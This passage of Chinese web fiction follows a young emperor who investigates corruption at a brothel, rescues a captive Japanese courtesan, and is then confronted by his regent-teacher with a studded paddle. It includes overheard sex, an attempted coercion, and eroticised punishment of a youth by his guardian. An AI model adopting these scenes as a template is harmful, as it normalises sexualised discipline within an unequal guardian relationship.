一阵风吹过,树梢的白玉兰绽开花瓣,还未到全盛之时,微微朝中间拢起,一朵朵翘立树梢。宋南卿提着袍子下摆快速下楼梯,身后的宫人差点没跟上,红色纱袍随着他的动作扬起,片刻就跑到了一株玉兰树下。
温暖的阳光洒在身上,身体各处洋溢着舒适,宋南卿伸手摘下了一朵玉兰,对着身后的春见随意吩咐道:“照着这花型,给朕做两个杯子来,要玉的。”
春见忙点头称是,拂尘一抬就有两个机灵的小太监捧着花去造办处了。
“春见,朕记得从倭人处收缴的东西里,有个彩色珐琅匣子,也是花朵形状的。”宋南卿抬手感受风吹过衣袖,在偌大的御花园里环顾四处风景。
春见回道:“是,那日庆功宴奴才还见了,流光溢彩的,陛下想放何处?”
宋南卿说:“还没想好,到时候和那杯子放一处吧。”
“是,奴才这就去办。”
“你们远远跟着朕就好,别到跟前来。”宋南卿捏着花沿草丛行走,温暖的风吹拂起他的头发,在花树下却是人比花艳,温度上来之后脸颊透着淡淡粉红。
宋南卿神情冷冷,朝荷花池里拋了颗石子。
“你,给朕把鱼食拿过来。”他随意对着跟随的仪鸾司侍卫指了一下。
高大的侍卫穿着官服,腰间的佩刀斜斜挂起,笔直跪立在了石头旁边,黑色的兽皮手套覆盖到腕骨,双手捧着鱼食递到了宋南卿稍一抬手就可碰到的位置上。
一团鱼食抛下去,几条锦鲤纷纷游过来争抢,宋南卿沿着荷花池喂了几把,站起身又走远了,銮驾停在一旁远远侯着他。
藏匿在鱼食堆里的一张小纸条被宋南卿握在手里,转身把字迹尽收眼底,随后纸条随着鱼食散入水中消失不见。
少年的睫毛轻颤,神思千回百转,佛珠在指尖晃动。
————
夜晚,天气微凉,穿着一身月白常服的宋南卿悄悄混出宫去,带着春见往纸条上探听来的凤栖楼走去。
仪鸾司的侍卫在别人看来是空有花架子,充当门面好看的,但这几年在宋南卿手里,已经逐渐成长为暗地里秘密窃听消息的一支队伍,京城官员的风吹草动都尽收他眼底。
凤栖楼是京城最大最奢侈的销金窟,头牌花魁初夜能竞拍出千两黄金之价。那日御史台副御史弹劾贾良之子贾士凯与人起冲突,也是在此处。小小凤栖楼引得京城官员争相往来,实在不得不看。
夜色醉人,宋南卿揣着刚从梅坡斋买来的梅子,一进门就被老鸨子殷勤围住。
“这位公子看起来面生得很,第一次来我们这儿?”年近四十的老鸨依然风韵犹存,她在这京城繁华地见识人来人往许多年,倒是很少看见像眼前这位一样那么美貌的客人,老鸨心里想:他来这儿还不一定谁嫖谁呢。望着这通身的气度和不凡姿态,女人把他头上的羊脂玉簪子和云锦衣袍尽收眼底,殷勤地给他介绍姑娘。
“二楼的包间早就准备好了,专门伺候公子这样的贵客,妾给您找几个顶尖的姑娘来,绝对把公子伺候好。”
大厅香气缭绕,粉红薄纱从二楼垂下来飘荡,玉器屏风、雕梁画栋,到处都是莺歌娇啼,穿着清凉的美人被亲密搂着调笑,脂粉香气扑面而来,宋南卿还从未见过这等场面,耳根微微发红。
春见低着头,在宋南卿耳边劝道:“陛…公子,奴才看咱还是回去吧,这等地方不是您该来的,要是被沈大人知道了……”
话头刚落被宋南卿一个眼刀瞪了回去。
沿着旋转的木梯上行,在上到二楼时,宋南卿眼尖看见对面最角落的一扇小门,飞速合上落了锁,一闪而过的跛脚人有些眼熟。
他携春见在二楼房间落座,依然可以听见丝竹管弦的靡靡之音,红木大床上铺着鲜艳锦被,两个太师椅置于桌前,半透明的屏风把床边风景遮挡,只露了一半,但仍然可以看见床头伸出来的两个铁环,上面缠绕着宽宽的丝带,直直垂在地上。
二楼的香气较一楼更甜,甜中还含着丝丝花香,仿佛空气的流动都比下面慢些、粘稠些。
宋南卿靠在椅子里歪着头看那站成一排的姑娘,往嘴里塞了颗刚买的蜜饯。
打量的眼神从头看到尾后,他摇了摇手指,一副纨绔公子作派,随手掏了一锭金子放在桌上。
明亮的眼睛直直看向老鸨:“你打量着糊弄我呢,本公子听说凤栖楼的云岫姑娘美人绝色,一首筝曲抵万金,云岫呢,不愿出来见我?”
“哎呦公子是里手啊,这可是不巧了。”老鸨绽放出了一个笑容,自若道,“云岫姑娘在隔壁陪客呢,今日怕是不方便,我们这儿有不少善弹筝的姑娘……”
少年明眸皓齿,看向人时却是不怒自威,他沉着脸跋扈道:“什么客,比爷给的
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银子多,还是比爷身份贵重?你知道我爹是谁么,去,我倒要看看是什么人跟小爷抢人。”
他一拍桌子,骄横霸道的姿态被他演了个十成十。
皇城根里,天子脚下,一块砖头砸下来十个人,不是皇亲国戚就是朝廷官员,自开国以来太祖就制定立法,朝廷官员不得狎妓宿娼,如被发现严厉惩处。
但这种事向来是官不究民不举,谁能作证他来青楼就是□□呢,说不定只是来听曲。自年幼的新帝登基后,狎妓这事已经成了官员们心照不宣的事了,但明面上却没人敢如此猖狂,此等做派,对方来头就不可能只是个小官员,怕是哪个侯爵王爷宠坏的小儿子。
对方赔着笑连连称是,出门左转往一扇门去了,春见被使了个眼色跟过去。
宋南卿见人都走了,皱起眉吹了吹被拍疼发红的掌心,指腹轻轻揉搓着,倒抽了一口凉气。
什么破桌子,那么硬。
他心中盘算着时间,突然听到隔壁的墙壁传来了快速的撞击声,偶尔伴随着暧昧的叫声和男人的低声狎言,女子的声音婉转动听千回百转,听起来爽快极了。
宋南卿站起身来回踱步,似是想掩盖隔壁的动静,但耳朵却是竖了起来,隔壁的撞击声越来越快,女子的低吟带上了哭声,声音越来越尖,忽而听到男人的低吼,一切回归沉寂。
少年咬了下嘴唇,这时隔壁低低的男声传入耳朵:“怎么弄的到处都是,裤子都被你喷湿了。”
宋南卿推开窗,让风吹在红热的脸颊上,外面风声卷着烟火气一起涌入耳中。
他揉了揉红热的耳根,突然听见隔壁的交谈声。
“王大人那边已经收了银子,等给我弄上个一官半职,我就给你赎身娶你,到那时我爹娘一定不好再说什么反对的话。”那个低沉的男声说道。
“真的吗?但我爹当年就是因为买官鬻爵之事,才被朝廷贬为奴籍,连我都……只能流连在这烟花之处,我不希望你为了我犯险。”女子情真意切。
男人用带着嘲讽的语气道:“你也不看看现在是什么朝代了,王大人上面可是大人物。”说到这儿他的声音放轻了一些,“如果能入那位的眼,你何愁没有做诰命夫人那一天,放心好了。”
后面女子又说了一些吹捧的话,把那男人吹的虚荣心爆发,又把自己即将搭上大人物的事好一通吹嘘。
宋南卿关上了窗子。
恰好春见在这时急匆匆回来了,掩着嘴凑到他耳边说:“陛下,奴才一路跟踪那名跛脚的随从,在那扇小门后头寻见了御史大人王潜!”
他顿了顿,接着说:“只是那间屋子里还有……还有别人,奴才不太方便听下去。”
宋南卿说:“支支吾吾做什么,你有什么不方便的。”一想到刚刚隔壁的动静,他言语一滞,继而眼睛闪过亮光问:“正在?”
春见点头答应。
宋南卿从袖子里掏出了一个哨子,对着窗外轻轻一吹,独特的鸟叫声宛如一声号召,一直在楼下等候的仪鸾司侍卫飞快跑上楼,为首的一人身穿藏蓝色制服,头戴乌纱帽,腰间别着刀。
对着角落那扇上锁的门一脚踢开。
这时凤栖楼掌柜才紧赶慢赶跑上来,只是大门一开,里面满身白花花肥肉的御史王潜已经被外人看了个彻底,他气得满脸通红,提上裤子大声呵斥:“何人敢如此放肆!”
穿着仪鸾司制服的侍卫掏出一张手牌,单手握住刀柄,对着王潜面无表情道:“接陛下命令,巡查凤栖楼。”
5. 第五章
“陛下旨意,有人弹劾官员子弟在凤栖楼大打出手,我等前来调查凤栖楼是否故意引起争端,令朝廷官员相对,包藏祸心。”仪鸾司指挥使对着已经穿戴整齐的王潜说,“另外,按太祖时法制,朝廷四品以上官员不可寻花问柳,御史大人平日表面参各位大臣平日言行有亏,背地里竟行此等之事啊。”
凤栖楼掌柜听到他那么说,连忙跪下解释:“大人,我们一向按朝廷制度经营,绝没有做任何违背制度之事,但有贵客强烈需求,小人确实得罪不起。”
王潜听她竟想把罪名全都按在自己一人头上,刚想发作就被仪鸾司侍卫捂住了嘴。
“王大人,大理寺走一趟吧,真是太不巧,陛下近日正为官员狎妓一事大发雷霆,您就撞上来了。”
指挥使魏进微一点头,看着王潜被拖下去,转过头对凤栖楼掌柜说:“今晚活动照常,是否违背,我自有定夺。”
王潜被抓事出突然,只在小范围有影响,大多数人还沉浸在花楼迷幻的氛围中。从宋南卿进来时,凤栖楼二楼就在搭花台子,今晚有那么多人到场,是因为近期在京城范围内引起轰动的美人云岫,第一次挂牌接客。
先是她的一手筝被夸成天上有地下无,后是内阁首辅贾良之子贾士凯等京城人中龙凤都为她打架,争抢不休。
世人都想见识一下这位云岫姑娘到底是多么惊为天人、一曲艳艳,这可是连公侯子侄都得排队才能见上的美人,今日竟然挂牌了。
宋南卿打开另一边花窗,正对着的就是等会儿要举行表演和拍卖的台子,他这儿算是贵客包厢,不用和大厅里的人一块儿挤。薄纱从窗子上垂下,外面看不清里面人,但往外看却很清楚,也不知这纱是怎么织成的。
红木太师椅上,宋南卿往后靠了靠,把脖子倚在后面,朝左一伸手,春见就把茶递到了手中。
他仰头喝了一口,对着跪在自己面前请安的魏进道:“事办的不错。”
“为陛下分忧是奴才的本分,不敢居功。”面前人弯了弯腰,露出眉眼来正是为他递鱼食传递御史台消息的人。
“况且是陛下给了奴才为国尽忠的机会,奴才感激不尽,无以为报。”魏进语气真诚。
他的父亲曾是前朝武官,他受荫蔽进宫做亲兵侍卫,但其父在前朝斗争中被另一党倾轧陷害,最终被罢官,而弹劾他父亲的人,就是王潜。曾经的天之骄子,在侍卫队伍锻炼几年也未被提拔走,还因为父亲一事受到宫人排挤。
宋南卿第一次见到他,就是大冷天里,他衣着单薄在雪地值守,寻常侍卫保暖的外披和帽子,竟是一件没有。宋南卿披着狐毛大氅经过时,都看得到他睫毛上结成冰的雪花。
宋南卿知道宫里被人排挤的冬日有多么难熬,不管是足以让人冻死的雪花,还是人与人之间冰冷的恶意,都容易让人从里到外变成僵硬的冰块,失去求生的热气。
但皇帝亲临,他还是从魏进低垂的眼睛中看到了些跃动的神采。
他没想到,魏进会成为一把如此好用的刀。
“为国尽忠,还是替父报仇?”宋南卿吹了吹杯里的茶,表情平静问他。
魏进低头道:“是为父报仇,更是为所有正义为国的忠臣扫清障碍,将奸臣送入诏狱。”
宋南卿笑问:“何为忠臣?”
“忠于陛下之人是为忠臣。将所有玩弄权柄企图动摇陛下江山之人绳之以法,是奴才一生追求的信仰,也是为慰藉父亲在天之灵。”魏进眼神清正,跪的笔直,长刀刀柄指向东方。
“说的那么好听,朕可听说你用刑甚重,别王潜还什么都没吐出来,先让你弄死了。”宋南卿让他起来,把杯子往前一递,魏进顺手接住放回了桌上。
“奴才……”
“好了,朕就是提醒你一句。”宋南卿转头看向下面的台子,花魁之夜已经即将拉开帷幕,他摸了摸腕间的佛珠,指腹陷进咒文纹路里,耳边传来一连串舒缓悦耳的乐曲。
粉红色轻纱从二楼垂落,一层又一层被风吹的如同波浪翻涌,金粉洒在上面波光粼粼,层层叠叠的花瓣慢慢洒下,深浅不一,随着一道筝声响起,圆形舞台四方的粉纱如同水波抽离,屏风朝两侧打开,后侧坐在筝前的美人缓慢抬腕,一首如高山流水的曲子自然从指下倾泻而出。
在这种艳俗的场合,云岫一袭绿衣仿佛清水芙蓉,脸庞只是略施粉黛,还未抬头,就看得出姣好动人的模样,弱不禁风、楚楚动人,宛如水中绽放的睡莲,仿佛一触就碎。
她筝弹得水平极高,即使不通音律的人也能听出曲中造诣。凤栖楼其他人平日走的是热情大胆风,这么一个娇弱美人又有才情又含羞带怯,面带愁容的样子,让人忍不住去一探究竟。
一曲毕,云岫款款前行,走到舞台边上行了一个礼,围观的众人才敢大声喘气,一声高过一声的欢呼和口哨声把她包围。
这时,老鸨从侧台走上来,对周围热切的观众说:“今晚竞拍有一个特别要求,才子才能配佳人。能对的上云岫姑娘字题的人才有竞拍资格,各位才子请听好。”
“上联是:烟锁池塘柳,下联需五字分别具备金木水火土各一个偏旁部首,且意境相合,方能得到云岫姑娘的竞拍资格。”
此话一出,场下一片哗然,有人出言不逊:“搞个那么难的题目出来,有本事直接比武啊,搞东搞西的又不是什么正经姑娘,还设难题,以为娶亲啊。”
“你懂什么,云岫姑娘可不是一般人能得到的,你看那贾家公子还没说什么,有你说话的份儿吗?”那人使眼色,最前方坐着的,正是为了云岫前几日和人大打出手的贾士凯。身为首辅之子,这不是也得按凤栖楼规矩办事么,在这个层面上讲,首辅公子也和他们没什么不同。
越是设下重重障碍,越是吸引人更想得到。
那个出言不逊的人还想说两句厥词,就被凤栖楼的打手请了出去。能在皇城脚下这寸土寸金的地方开那么大的店,没有点背景庇佑是不可能的。
众人都在思考应答,宋南卿的包厢里也被送来了笔墨,他拿起笔略加思索,手腕一抬在纸上写下五字,一气呵成。
看着那张字被下人拿了出去,春见忍不住靠近魏进问道:“陛下真要参与那竞拍?他要是喜欢那个姑娘,何必大费周章,直接吩咐不就成了……”
魏进抱着短刀瞥他一眼,“陛下自有他的思量。”
宋南卿托着下巴看楼下华丽的场景,心想这个云岫姑娘看起来弱不禁风,筝弹得倒是十分有意思。沈衡也擅长弹筝,古今许多曲谱他手里都有,多年前筝流传至东洋,曲风演变制式也有变化,最大的不同就是弦的区别。
这首曲子的和弦是明显的东洋风,和沈衡那堆东洋曲谱相类似,而且宋南卿观察到,云岫在弹某个音的时候,手指总是不自觉伸远又收回来,是弹惯了多一根弦的筝才会有的习惯动作。这个凤栖楼,这个花魁,或许有许多不能不看的惊喜。
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>下面台上放了一张桌子,渐渐的有人写了下联递上去,一炷香时间结束,老鸨跟云岫交谈之后上前,拿着寥寥无几的纸条,对台下人道:
“本次获得竞拍资格的共有五人,上联是:烟锁池塘柳,云岫最喜欢的是二号包厢南公子所对下联。”她展开手中纸条,苍劲有力的墨字映入眼帘,简单五字对仗工整,画面仿佛跃于纸上。
只见宋南卿的下联所对是:“桃燃锦江堤。”
这个下联一出,原本对“云岫姑娘最喜欢”这个名头还有不服气的人,也都消了声。能在一炷香时间里勉强对上这联实属不易,更别提是不是符合意境了,这个下联就是不通诗书之人,也能看出与上联是多么绝配,浑然天成宛如一体。
云岫朝二号包厢的花窗看去,隐隐约约只能看见窗边一个影子。能作出这等诗句之人绝对不会是什么宵小之辈,如果今夜真的能被他拍去,也算没有过分辜负自己吧。
云岫轻轻叹气。
拍卖继续,剩下的五人都怀着势在必得的气势,刚开始就叫到了百两之数。宋南卿看了眼春见的钱袋子,手撩开帘子又往上加了一百两。
随着叫出的数额越来越大,往上加的人就变少了,只剩坐在第一排的贾士凯和他相争。
“一千两。”贾士凯声音冷冷,像是丝毫不心疼钱的样子,这让宋南卿眯了眯眼睛。
舅舅虽然做到首辅,但据他所知大盛官员的俸禄并不丰厚,供吃喝稍有盈余也就是了,怎么能随随便便拿出千两供儿子挥霍呢?
“我对云岫心悦已久,光是等她挂牌就等了半月有余,希望阁下不要再与我相争。”贾士凯朗声对着楼上的二号包厢道。
宋南卿看向春见,微一挑眉。
春见苦哈哈道:“爷,出门就带了这个数,真没有了。”就这还是他机灵,随手揣了张银票出来,不然宋南卿都叫不到第二轮。
“一号,一千两。”凤栖楼报价人又重复了第二遍。
宋南卿赶在他重复第三遍前问魏进:“快点,你还有多少,下月俸禄朕给你翻倍。”
魏进在自己口袋掏了又掏,默默把几点碎银搁置在了托盘里。
“二号,一千零二两——”
宋南卿用一种哀其不幸怒其不争的眼神看着魏进,刚伸出颤抖的手指要谴责他,就听见报价又缓缓重复了一遍,贾士凯未出声。
激动人心的时刻到来,宋南卿微微愣住,心想不会因为魏进这二两,对方真的就不与他相争了吧。难道这二两就是那压死骆驼的最后一根……
“二号,一千零……”
忽然一道冷声从前排传来打断了报价:“一千五百两。”
宋南卿悬着的心终于死了,他就是把魏进卖了也变不出五百两。
云岫在下面对他的方向行了一礼。鲜花花瓣从房顶飘洒而下,在令人眩晕的起哄声里,老鸨宣布最终一号获得了这场竞拍的最终成交资格。
“咳…爷,咱走吗?”春见看宋南卿表情不好,低头轻声问。
宋南卿朝他勾勾手,在春见凑近的那一刻,对着他的额头就是一个爆栗,“真当爷来竞拍花魁来了?”
竞拍结束众人散去,宋南卿悄悄跟在贾士凯后面,对着身后的魏进和春见招手,示意他们跟上。最后三人面对眼前紧闭的一扇门面面相觑,里面是贾士凯的笑声,隐约可以听见云岫的抵抗声。
“咣当”一声,宋南卿一脚踢开了眼前这扇木门。
6. 第六章
贾士凯正为了抱得美人归而自得不已,捏着手中酒杯不顾云岫抵抗也非要让她喝下。
“放开她。”宋南卿说道。
大门突如其来的一声声响让贾士凯手中的酒都洒出来了两滴,他满脸不悦望向来人。
但在他眼神落在宋南卿脸上的时候,神色变得微妙起来。
“小美人就该好好待在家里等着别人疼,跟人学什么救风尘那一套。”贾士凯想也知道来人是谁,无非是竞拍被他抢先心里不爽。
他缓慢踱步到宋南卿面前,歪头打量着眼前这张丝毫不输千金头牌的脸,一瞬间觉得驯服这个刚刚跟他针锋相对的人似乎比拍得花魁更有意思了。
“想跟我抢人,你知道本少爷是谁吗?”贾士凯用扇子一端挑起人的下巴,语气中带着威胁和调笑。
宋南卿皮笑肉不笑看他,在那柄扇子搭上他下巴的前一刻,贾士凯就被放倒在了地上,后颈残留着被击打后的撞击伤,整个人已经被打晕了。
云岫见状睁大了眼睛,捂住嘴才没有叫出声。
“想跟我抢人,你知道本少爷是谁吗?”
宋南卿冷哼一声,对魏进招招手:“干的不错,把他拖出去,看着就倒胃口。”
为了和心心念念的美人共度良宵,贾士凯连家仆都没有留两个,所以一路把他拖出去很顺利。
房间里,云岫很快整理好仪容,对宋南卿行了一礼道谢:“多谢公子搭救。”
宋南卿看她两眼,开口便是:“你是倭人?”
云岫一愣,小心翼翼用自己国家语言问:“您、您也是?”
宋南卿即使听不懂,猜也猜得到她说了什么,“我不是,只是好奇你怎么会那么远来到大盛,还在这种地方生活,感觉不像是自愿的。”
云岫眼角微红,因着方才那对对子一事,他对眼前这位少年有着说不出的一见如故。她说:“本以为你们盛国人人光明磊落,说好了投降就能让我们好好安置,但没想到会落到如此境地。”
宋南卿眼神微动,问道:“你是前些天打仗被俘虏来的倭人?但大盛对自愿投降归顺的俘虏从来都是不落奴籍,你怎么会?”
“有钱交,不落奴籍,没钱交的就把我们卖出去,公子你太天真了,俘虏不落奴籍就像我在这凤栖楼那么些天还没接过客一样,让人难以信服。”云岫把手搭在椅子上随口说道。
宋南卿只觉心中不是滋味,“你可知卖你的是谁?”
云岫道:“不知,但买我的不是凤栖楼,而是一个中年官员,我在此处只是他掩人耳目的手段,他让我陪不同的客人,借机传递信息。”
“我的家人都在他手上,我没办法不从。我只知道他身边有一个腿瘸的随从,一般是他来找我。”
宋南卿盯着门上的锁眼,沉声说:“是王潜。”
云岫似是惊讶,“确实有人叫他王大人,你认识他?”
“过了今晚,他就不再是什么大人了。”宋南卿道,“我可以救你出去,还有你的家人。”
云岫虽不知晓他的身份,但听他那么说,也知道宋南卿来头不小。
“只是救了我,我还有数百位同胞,不知现在在何处。”
“我本有一心悦之人,在救我的路上,被拖走,不知如今是生是死。但就我现在这具身子,就算他活着,我也是妄想了。”云岫眼角滑落一滴泪,但很快被她擦去,她仰起头说,“是谁有权利处理我们的去处,皇帝吗?那他可真不是一个好皇帝。”
宋南卿一哽,睫毛颤颤,像是被戳到了心,“皇帝也是把事情给下面的人去做,并不能亲力亲为。”
“但一国之君不能知人善用,让这些人通过权力敛财,伤害俘虏百姓,也是他的罪过,不是吗?”
宋南卿无话可讲,因为他没办法反驳,云岫说的是对的。
作为一个帝王,不管是在这个国家土生土长的百姓,还是投降被俘的流民,都是他的子民,子民过的不好,当然是他的罪过,不能阻止贪官污吏迫害鱼肉百姓,也是他这个皇帝当的不称职的结果。
他语气沉重,但态度坚决:“我会帮你,找出那个罪魁祸首,让他受到惩罚,不再让俘虏受到侵害。”
云岫说:“如果有用得到云岫的地方,公子尽管吩咐。这段日子在凤栖楼,我也学到了一些东西。”
“看着那些男人臣服于欲望在我面前丑态百出的时候,我是会有他们也不过如此的感觉,男人都是下半身的动物,臣服于欲望时就没了脑子。”
宋南卿从刚才听了云岫的话就一直在想,他这个皇帝做的前怕狼后怕虎,只想自保不丧命,也没什么意义,像贾良王潜之流,畏惧他们正是给了他们动摇江山的可能。他既然坐在皇帝的位置上,就要为了他的社稷、他的子民做些什么。
“臣服于欲望时就没了脑子?”听到这里,宋南卿回过神,看向云岫问道,“你是怎么做到,让他们对你一见倾心的?”
为什么他按照那个什么《御男十术》上教的做了,沈衡对他还没有有求必应呢?
云岫捋了捋自己的袖子,勾起唇一笑:“对于抓住男人的心,只靠情意太慢了,他们需要更直接的欲望。保护欲、惩罚欲、控制欲、施暴欲、征服欲,都是欲望,《凤栖楼待客培训指南》,你想看吗?”
宋南卿眨眨眼,乖巧伸手做乞讨状。
————
过去的那半个时辰,宋南卿的三观受到了极大冲击,他踉踉跄跄走出云岫的房间,被等在外面的春见扶住了。
“陛下……还好吧?”春见看他脚步虚浮,关切地上前扶住宋南卿胳膊,魏进已经回去审王潜了。
宋南卿一边消化着那个培训指南,一边在心里想和云岫约定布局的事情,算是作为指导回报,他问了云岫那个心悦之人的具体信息,如果有机会也能帮着找找,虽然希望渺茫。
大闹了那么一通,他也有点累了。宋南卿晃着脚带春见准备出去,寻个食肆大吃一顿。
谁料想,在出门前正好和外面路过的一人对上了眼神。
是沈衡。
此时他正被老鸨拉着赔罪,说没有拍到云岫不要紧,他们这儿还有很多好姑娘任他挑选。周围的一堆漂亮姑娘软言劝他喝一杯再走。
宋南卿脸部表情僵硬,笑得比哭得还难看,只能眼看沈衡一步步朝他走来。
春见这个乌鸦嘴,怎么说什么来什么啊。
————
马车木轮朝前滚动着,外面的夜市繁华依旧,小贩卖东西的声音混合着行人的问答,渲染出了宫内没有的人间烟火气。
宋南卿坐在马车里偷偷抬眼看,正好和沈衡视线交汇,他立马慌乱移开目光,掀开窗布看着外面的灯火,欲盖弥彰。
车内很安静,静的连宋南卿往旁边坐时,衣料摩擦的声音都听得清,视线余光里男人抬了下手,宋南卿条件反射般往旁边瑟缩了一下。
帝师的府邸是闹中取静之地,马车驶入一条宽敞的道路,在青石板前停住。一棵高大飘扬的柳树在夜色下晃动枝叶,月上柳梢头,弯弯的柳叶影子映在门前,晕染开淡淡的墨色。
宋南卿跟在沈衡后面缓慢挪动脚步,月白色的长袍一派清新淡雅,本意是为了不显眼才选了个低调的衣服,但浅淡的颜色更衬得他皮肤白皙明亮,桃花眼潋滟动人。
他低着头,因为未知的惩罚而浑身紧绷僵硬,脚步错乱跟随着身边人的步伐,在迈过高高的木头门槛时,一个踉跄。
空气快速流动划过脸颊,失重感一瞬间袭来,宋南卿还没来得及惊慌,就感觉到一只有力温暖的手掌搂住了自己的腰身,把他整个人牢牢托住。
沈衡手臂用力把倾倒的人拉了回来,眼神落在宋南卿浓密鸦黑的睫毛上,不断颤抖的频率昭示着他的紧张。
紧紧贴在腰上的手臂像是把他禁锢在了沈衡的怀中,切肤的温度在不断升高,后腰传来奇异的酥
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麻,时间仿佛都在拉长。
宋南卿站稳了脚跟,呼吸间闻到了不知是外面的花香还是沈衡身上的香气,他抿了抿唇低声说:“谢谢先生。”
“还有呢?”沈衡对他临府不像是待贵客,连服侍的下人都被遣去大半,偌大的王府亭台水榭应有尽有,比起皇宫倒是幽静私密许多。
宋南卿微微仰头,为自己辩解道:“今日去那里,我不是为了……”
为了什么,为了宿娼?为了听曲?还是要把自己的计谋说给沈衡听。宋南卿垂下睫毛没了下文。
穿过绕满了紫藤花的一个连廊,配殿正门敞开着,对着大门的圆形餐桌上摆满了各式各样的菜肴,以鲜美多汁烤的泛油光的肉食为主。
沈衡在一侧坐下,淡淡问他:“饿了吗?”
宋南卿咽了咽口水点头,眼神从那桌子菜上移不开,但还保持着理智想为自己辩解什么。
“先用饭。”沈衡把筷子拿起来递到了他的手里。
帝师大人看起来清风明月高雅之态,但却不是那等不食人间烟火之人,府里的饭菜多为鲜香咸辣的肉食,比起宫里食不过三的规矩,在这里宋南卿能更好的大快朵颐。
“唔…这个好好吃。”宋南卿举着一根羊排吃的脸颊鼓鼓,他转动眼珠悄悄瞥向沈衡,把手里的肉递到了人嘴边。
看着他期待小心的表情,沈衡低头咬了一口,没有避讳上面或许还沾着少年的口水。
宋南卿偷偷勾起嘴角,膝盖抵着对方的腿撒娇般蹭动,卖乖娇俏的样子完全不是秦楼楚馆里那个跋扈嚣张的少年了。
一顿饭吃的宾主尽欢,宋南卿在下人的伺候下净着手,纤细的手指尖不知是不是因为热水的缘故,透着樱粉色,在棉麻的擦手巾上留下了淡淡的水渍。
端着擦手巾的小厮低垂着头,尽量保持着冷静,不直视这位客人艳若好李的脸。
摄政王大人从未有人近身,府里别说妻妾,就是连个姿色好的婢女都没有能贴身伺候的,想巴结他的人也有送貌美小男孩来的,通通都被送了出去,时间久了外面都说沈衡不好美色,六根清净是佛缘深重。
小厮进府不久,因着机灵受到了管家提拔,但从未见过摄政王与谁如此亲近,面前这位公子一看就华贵无比,站在他面前跟盛放的名贵牡丹一样,眼睛亮亮笑容明媚,但莫名就让人觉得有距离感。
不知和大人到底是什么关系,总不能是私生子吧,大人不可能有那么大的孩子啊。
“新来的?以前没见过你。”宋南卿擦完手把帕子扔了回去,觉得他紧张的样子甚是有趣,看起来并不知晓自己的身份,就起了逗弄的心思。
他倾身凑近玩笑了几句,家住何方今年几岁之类的话,然后便是问沈衡到底有没有藏起来的小美人。
小厮颤抖着声音说:“这个奴才实在是不知啊。”
宋南卿挑眉,“你就没见过他带什么人回来?”
“……您是第一位。”对方唯唯诺诺应答,话倒是说得宋南卿很是舒心。
他拍了拍小厮的肩膀,在人耳边轻笑:“好好干。”
门口传来脚步声,是沈衡贴身的随侍竹心,他快步走过来,对着宋南卿恭敬行了一礼,声音平稳道:“公子,大人请您去一趟书斋。”
沈衡原话是:去看看陛下又被什么绊住了脚,走不动道了。
宋南卿迈动脚步快速离开,腰间的环佩相撞发出清脆悦耳的响声。
竹心看向那个端着木盘的小厮,问他都说了什么话,听到回话之后,露出了意味深长的笑容。
“公子既然说让你好好干,就好好干吧。”
“小的多嘴一句,敢问那位公子什么来头啊?”
作为摄政王身边地位最高的随侍,能让竹心恭恭敬敬行礼的人倒是少见。
竹心道:“大有来头,恭敬着点,你以后不用做这些杂活了,书房缺个整理字画的人,你就到那儿去做事吧。”
7.第七章
外头天已经昏暗了下来,书房还点着灯,宋南卿穿过一道石子小路,到达了不远处的书房门口。
“吱呀——”一声,木门被推开了,正对着门的是一副山水画,墨色晕染的山水深深浅浅,如云又如雾。画前坐着的人身姿笔直,一袭长袍飘逸,刀削般的鼻梁高挺,为整张脸增添了几分立体与硬朗。
他端起茶杯轻抿了一口茶,锐利的目光投向站在门口的宋南卿,平时刻意伪装的温和眼神在此刻卸下了面具,犹如鹰隼盯着猎物,又好似只是随意一瞥。
明明他是坐在椅子上从下往上看的,但莫名就有一种居高临下的感觉,宛如一个等待了许久的猎人。
宋南卿被他这一眼看得直接腿软了,迈着虚浮的步子走到人跟前,却看见了桌子上放置的一柄皮拍。
黑色的板子上面包裹着厚厚的亮皮,不软不硬的材质是惩戒的利器,最让人心颤的是皮拍表面均匀分布了一颗颗的金属凸起,打在人身上势必会留下漂亮的点点印记。
宋南卿看到那个板子心里直打怵,在沈衡放下杯子之前,就殷勤地捧着杯托侯着了。白瓷杯底相撞发出清脆的声音,纤纤十指端着瓷器,竟是分不清哪个更莹白。
不知是因为紧张还是害怕,在把杯子放回去的时候,手下一个不稳,半杯茶水尽数洒在了少年的衣袍上。
“哎呀…”宋南卿小声惊呼,拿手捋着湿透的衣服,焦急地说:“朕得换个衣裳了,春见呢,快来人啊!”
他提着衣袍就往门外跑,刚打开木门,一只有力的手掌按在了他头顶的门上,“砰——”的一声巨响,门骤然关上。少年被紧紧禁锢在了门和沈衡之间,紧张地咽了咽口水。
感受到了身后的呼吸,宋南卿急促呼吸着小心翼翼认错,“我…我知错了,真的…呜下次不敢了!”
沈衡伸手把他脸侧散落的一缕头发往耳后掖好,平静的声音宛如暴风雨前的宁静。
“去里面,先把衣裳换了。”
柔软的榻上,少年弯着腿垂脸坐着,湿掉的外袍已经脱了下来,只穿了个半透中衣坐在那儿,莹玉般的小腿压在软毯上。那个皮拍就被扔在了他腿边,金属凸起反射着光。
他用脚踩住皮拍往旁侧踢了踢。
沈衡从别处拿着干净的衣服走来,看见他的小动作。宽大的衣袖垂落,皮拍被骨节分明的大掌握在了手里。
宋南卿身体微微颤抖,咬着唇肉请求道:“不要打手心好不好…今日已经弄痛了…”他摊开拍桌子拍红的掌心给沈衡看。
作为君主,他从小就被沈衡管的很严厉,他又是个贪玩的,不打记不住教训,犯错挨罚是天经地义,不过先生惩罚起人来真是一点都不会留情的,所以他真的怕得很。
这次明明说好在宫里读书,不再看那些乱七八糟的话本子,结果在凤栖楼被撞个正着,简直是想抵赖也毫无办法。
沈衡伸手,用皮拍抬起了他的下巴,拍子边角被柔韧的皮质包裹成圆角,就那么从他的脸颊轻轻划过。
“怎么罚你,还要听陛下的吗?”
忽然拉近的距离,磁性温柔的嗓音,不知道的还以为沈衡要替他披衣服,宋南卿心里默默谴责这个笑面虎。他早就不会被沈衡温柔儒雅的外表迷惑了,现在看起来一副商量的语气,其实骨子里是说一不二的个性。
他低头蹭了下沈衡的手腕,柔软又无辜的脸贴在皮拍侧面,小声说:“难道先生想打我的脸吗?那大臣们就都知道沈大人背地里喜欢体罚学生了。”
